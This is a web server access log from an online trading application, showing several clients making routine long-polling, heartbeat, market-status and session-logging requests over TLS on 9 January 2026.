[09/Jan/2026:11:29:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929626236 HTTP/1.1" -
[09/Jan/2026:11:29:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929612956 HTTP/1.1" -
[09/Jan/2026:11:29:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929616338 HTTP/1.1" -
[09/Jan/2026:11:29:06 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929613420 HTTP/1.1" -
[09/Jan/2026:11:29:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929632236 HTTP/1.1" -
[09/Jan/2026:11:29:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929618004 HTTP/1.1" -
[09/Jan/2026:11:29:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929621475 HTTP/1.1" -
[09/Jan/2026:11:29:11 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929618541 HTTP/1.1" -
[09/Jan/2026:11:29:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929623039 HTTP/1.1" -
[09/Jan/2026:11:29:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929638233 HTTP/1.1" -
[09/Jan/2026:11:29:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929626595 HTTP/1.1" -
[09/Jan/2026:11:29:16 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929623630 HTTP/1.1" -
[09/Jan/2026:11:29:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:29:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:29:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:29:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:29:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929628089 HTTP/1.1" -
[09/Jan/2026:11:29:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929631718 HTTP/1.1" -
[09/Jan/2026:11:29:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:29:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:29:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929644234 HTTP/1.1" -
[09/Jan/2026:11:29:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:29:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929628711 HTTP/1.1" -
[09/Jan/2026:11:29:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:29:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:29:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:29:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:29:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:29:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929633122 HTTP/1.1" -
[09/Jan/2026:11:29:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929636891 HTTP/1.1" -
[09/Jan/2026:11:29:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929633783 HTTP/1.1" -
[09/Jan/2026:11:29:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929650232 HTTP/1.1" -
[09/Jan/2026:11:29:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929638174 HTTP/1.1" -
[09/Jan/2026:11:29:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929641946 HTTP/1.1" -
[09/Jan/2026:11:29:31 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929638822 HTTP/1.1" -
[09/Jan/2026:11:29:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929656234 HTTP/1.1" -
[09/Jan/2026:11:29:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929643212 HTTP/1.1" -
[09/Jan/2026:11:29:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929647012 HTTP/1.1" -
[09/Jan/2026:11:29:36 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929643900 HTTP/1.1" -
[09/Jan/2026:11:29:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929662232 HTTP/1.1" -
[09/Jan/2026:11:29:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929648256 HTTP/1.1" -
[09/Jan/2026:11:29:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:29:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:29:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:29:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:29:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929652131 HTTP/1.1" -
[09/Jan/2026:11:29:41 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929649114 HTTP/1.1" -
[09/Jan/2026:11:29:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929653304 HTTP/1.1" -
[09/Jan/2026:11:29:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929668228 HTTP/1.1" -
[09/Jan/2026:11:29:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929657255 HTTP/1.1" -
[09/Jan/2026:11:29:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:29:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:29:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:29:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:29:46 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929654174 HTTP/1.1" -
[09/Jan/2026:11:29:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929658347 HTTP/1.1" -
[09/Jan/2026:11:29:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:29:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:29:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929674222 HTTP/1.1" -
[09/Jan/2026:11:29:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929662451 HTTP/1.1" -
[09/Jan/2026:11:29:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:29:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:29:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:29:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:29:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929659257 HTTP/1.1" -
[09/Jan/2026:11:29:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:29:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:29:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929663371 HTTP/1.1" -
[09/Jan/2026:11:29:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929667589 HTTP/1.1" -
[09/Jan/2026:11:29:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929680228 HTTP/1.1" -
[09/Jan/2026:11:29:56 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929664288 HTTP/1.1" -
[09/Jan/2026:11:29:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929668410 HTTP/1.1" -
[09/Jan/2026:11:30:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929672642 HTTP/1.1" -
[09/Jan/2026:11:30:01 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929669326 HTTP/1.1" -
[09/Jan/2026:11:30:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929686238 HTTP/1.1" -
[09/Jan/2026:11:30:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929673450 HTTP/1.1" -
[09/Jan/2026:11:30:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929677722 HTTP/1.1" -
[09/Jan/2026:11:30:06 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929674381 HTTP/1.1" -
[09/Jan/2026:11:30:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929692228 HTTP/1.1" -
[09/Jan/2026:11:30:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929678477 HTTP/1.1" -
[09/Jan/2026:11:30:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929682872 HTTP/1.1" -
[09/Jan/2026:11:30:11 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929679434 HTTP/1.1" -
[09/Jan/2026:11:30:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929683524 HTTP/1.1" -
[09/Jan/2026:11:30:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929698232 HTTP/1.1" -
[09/Jan/2026:11:30:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:30:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:30:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:30:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:30:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929688121 HTTP/1.1" -
[09/Jan/2026:11:30:17 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929684499 HTTP/1.1" -
